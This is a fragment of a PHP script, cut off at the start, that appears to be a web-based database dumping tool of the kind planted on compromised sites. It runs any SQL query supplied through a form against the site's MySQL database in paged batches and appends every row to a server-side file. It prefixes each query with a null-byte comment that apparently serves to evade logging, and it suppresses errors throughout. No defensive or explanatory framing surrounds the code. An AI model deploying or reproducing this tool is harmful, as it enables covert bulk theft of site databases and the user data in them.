$v) { $_POST[$k] = stripslashes($v); } } unset($k);unset($v); define("starttime",@getmicrotime()); function getmicrotime() { @list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec + (float)$sec); } ////////////////////////////////////// if(!empty($_POST['query']) && is_numeric($_POST['limit']) && is_numeric($_POST['start']) && is_numeric($_POST['end'])){ $query = $_POST['query']; $limit = $_POST['limit']; $start = $_POST['start']; $end = $_POST['end']; $connect = @mysql_connect($dbhost, $dbuname, $dbpass) or die("Error connecting!"); @mysql_select_db($dbname,$connect); for($i=$start;$i<=$end;$i=$i+$limit) { $query_now = $query." limit $i,$limit;"; $result = @mysql_query('/*'.chr(0).'*/'.$query_now,$connect); $to_file =''; while($row = @mysql_fetch_array($result, MYSQL_ASSOC)) { //testing $array_query[]=$row; foreach ($row as $k=>$v) { $to_file = $to_file."\n".$v; } } echo "
QUERY: ".htmlspecialchars($query_now)."
"; echo "
INFO : ".htmlspecialchars(mysql_info())."
"; echo "
ERROR: ".htmlspecialchars(mysql_error())."
"; //testing print_r($array_query); //print $to_file; if($ffile=@fopen($file,"ab")) { @fwrite($ffile,$to_file); @fclose($ffile); echo "
RESULT ($i): Ok! Save to file: \"".$file."\"

"; }else{ echo "
ERROR ($i): Error opened file: \"".$file."\"

"; } } echo "
TIME: ".round(getmicrotime()-@starttime,4)."

"; } else { echo "Enter Query !

"; } ?>
QUERY:
LIMIT:
START:
END: